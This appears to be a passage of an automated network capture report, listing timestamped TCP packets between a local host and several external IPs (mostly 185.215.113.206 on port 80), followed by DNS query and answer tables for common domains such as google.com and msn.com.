Nov 12, 2024 10:37:36.400901079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400904894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400926113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400945902 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.400979996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.400998116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.401010990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.401045084 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.401065111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.430197001 CET	49957	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.430356979 CET	49958	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:36.457573891 CET	443	49961	23.198.7.180	192.168.2.6
Nov 12, 2024 10:37:36.458024025 CET	49961	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:36.458058119 CET	443	49961	23.198.7.180	192.168.2.6
Nov 12, 2024 10:37:36.459105968 CET	443	49961	23.198.7.180	192.168.2.6
Nov 12, 2024 10:37:36.459187984 CET	49961	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:36.460119009 CET	49961	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:36.460185051 CET	443	49961	23.198.7.180	192.168.2.6
Nov 12, 2024 10:37:36.463793993 CET	443	49959	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:36.464093924 CET	49959	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:36.464119911 CET	443	49959	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:36.465145111 CET	443	49959	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:36.465214968 CET	49959	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:36.466243982 CET	49959	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:36.466306925 CET	443	49959	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:36.473086119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473098993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473109007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473139048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473174095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473174095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473210096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473221064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473257065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473273039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473309040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473310947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473320961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473414898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473426104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473436117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473448992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473459959 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473474979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473491907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473495960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473566055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473577023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473587990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473593950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473599911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473618031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473648071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.473978043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473989010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.473999023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474030018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474037886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474042892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474056005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474095106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474097967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474154949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474167109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474210978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474287987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474302053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474312067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474323988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474339008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474339008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474359035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474385023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474425077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474435091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474446058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474457979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474473953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474498987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474508047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474520922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474531889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474545956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474555969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474556923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474567890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474576950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474617004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474766016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474776030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474786997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474798918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474809885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474816084 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474821091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474832058 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474833012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474843979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474854946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474863052 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474870920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474884033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.474889994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474906921 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.474931955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475279093 CET	443	49960	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:36.475297928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475310087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475323915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475336075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475347042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475351095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475358009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475369930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475378990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475382090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475389957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475404024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475406885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475414991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475414991 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475429058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475438118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475450039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475456953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475460052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475472927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475485086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475505114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475508928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475524902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475537062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475538969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475538969 CET	49960	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:36.475555897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475555897 CET	443	49960	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:36.475610018 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475748062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475759983 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475769997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475783110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475800991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475805044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475811958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475822926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475833893 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475835085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475847960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475857973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.475871086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475889921 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.475907087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476011038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476026058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476042032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476049900 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476053953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476067066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476068974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476075888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476078987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476090908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476097107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476118088 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476140022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476253986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476265907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476275921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476286888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476299047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476309061 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476310015 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476322889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476346016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476366043 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476502895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476514101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476524115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476535082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476547003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476547003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476557970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476567984 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476571083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476583004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476597071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476607084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476609945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476619959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476633072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476634979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476655006 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476674080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476887941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476900101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476910114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476919889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476934910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476944923 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476954937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476964951 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.476967096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476979971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476989985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.476993084 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.477003098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.477010012 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.477015018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.477042913 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.477077961 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.477222919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.477235079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.477245092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.477253914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.477264881 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.477279902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:36.477283955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:36.477291107 CET	80	49834	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 10:37:11.057401896 CET	192.168.2.6	1.1.1.1	0x6a3a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:11.057559967 CET	192.168.2.6	1.1.1.1	0x6f69	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:15.569278002 CET	192.168.2.6	1.1.1.1	0x15ca	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:15.569394112 CET	192.168.2.6	1.1.1.1	0xbeb2	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:16.567600012 CET	192.168.2.6	1.1.1.1	0x9b89	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:16.567755938 CET	192.168.2.6	1.1.1.1	0xf16a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:21.691292048 CET	192.168.2.6	1.1.1.1	0xd28c	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.769018888 CET	192.168.2.6	1.1.1.1	0xcbb3	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:23.343828917 CET	192.168.2.6	1.1.1.1	0x976c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:23.344203949 CET	192.168.2.6	1.1.1.1	0x9e35	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 12, 2024 10:37:24.583209038 CET	192.168.2.6	1.1.1.1	0xbb09	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:24.583350897 CET	192.168.2.6	1.1.1.1	0x4ed1	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:25.299112082 CET	192.168.2.6	1.1.1.1	0xe4ef	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:25.299299955 CET	192.168.2.6	1.1.1.1	0xa951	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:25.314280033 CET	192.168.2.6	1.1.1.1	0x1925	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:25.314466953 CET	192.168.2.6	1.1.1.1	0x8b84	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:25.318818092 CET	192.168.2.6	1.1.1.1	0xcbbe	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:25.318979025 CET	192.168.2.6	1.1.1.1	0x3c1b	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:25.330024958 CET	192.168.2.6	1.1.1.1	0x53a9	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:25.330338955 CET	192.168.2.6	1.1.1.1	0x86d1	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:26.292593002 CET	192.168.2.6	1.1.1.1	0xcce8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.292762041 CET	192.168.2.6	1.1.1.1	0x142b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:26.293730021 CET	192.168.2.6	1.1.1.1	0x7b0e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.294121027 CET	192.168.2.6	1.1.1.1	0xfe87	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 10:37:26.339940071 CET	192.168.2.6	1.1.1.1	0x5a08	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.340384007 CET	192.168.2.6	1.1.1.1	0x8ab3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 10:39:21.900924921 CET	192.168.2.6	1.1.1.1	0x7eb3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:39:21.901138067 CET	192.168.2.6	1.1.1.1	0x66b1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 10:39:23.289612055 CET	192.168.2.6	1.1.1.1	0x1286	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:39:23.290388107 CET	192.168.2.6	1.1.1.1	0xa8ef	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 10:37:11.064366102 CET	1.1.1.1	192.168.2.6	0x6a3a	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:11.064399004 CET	1.1.1.1	192.168.2.6	0x6f69	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 10:37:15.577778101 CET	1.1.1.1	192.168.2.6	0x15ca	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:15.577778101 CET	1.1.1.1	192.168.2.6	0x15ca	No error (0)	plus.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:15.578073978 CET	1.1.1.1	192.168.2.6	0xbeb2	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:16.578177929 CET	1.1.1.1	192.168.2.6	0x9b89	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.698724031 CET	1.1.1.1	192.168.2.6	0xd28c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:21.776025057 CET	1.1.1.1	192.168.2.6	0xcbb3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	mira-tmc.tm-4.office.com		52.123.243.216	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	mira-tmc.tm-4.office.com		52.123.243.196	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	mira-tmc.tm-4.office.com		52.123.243.77	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	mira-tmc.tm-4.office.com		52.123.243.195	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	mira-tmc.tm-4.office.com		52.123.243.68	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	mira-tmc.tm-4.office.com		52.123.243.94	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	mira-tmc.tm-4.office.com		52.123.243.210	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:21.796242952 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	mira-tmc.tm-4.office.com		52.123.243.75	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:22.118892908 CET	1.1.1.1	192.168.2.6	0x3de8	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:22.119581938 CET	1.1.1.1	192.168.2.6	0x9764	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:22.119581938 CET	1.1.1.1	192.168.2.6	0x9764	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:23.351089954 CET	1.1.1.1	192.168.2.6	0x9e35	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:23.351147890 CET	1.1.1.1	192.168.2.6	0x976c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:24.590266943 CET	1.1.1.1	192.168.2.6	0xbb09	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:24.590266943 CET	1.1.1.1	192.168.2.6	0xbb09	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.225	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:24.590435028 CET	1.1.1.1	192.168.2.6	0x4ed1	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:25.305744886 CET	1.1.1.1	192.168.2.6	0xe4ef	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:25.305744886 CET	1.1.1.1	192.168.2.6	0xe4ef	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:25.305744886 CET	1.1.1.1	192.168.2.6	0xe4ef	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:25.305744886 CET	1.1.1.1	192.168.2.6	0xe4ef	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:25.321120024 CET	1.1.1.1	192.168.2.6	0x8b84	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
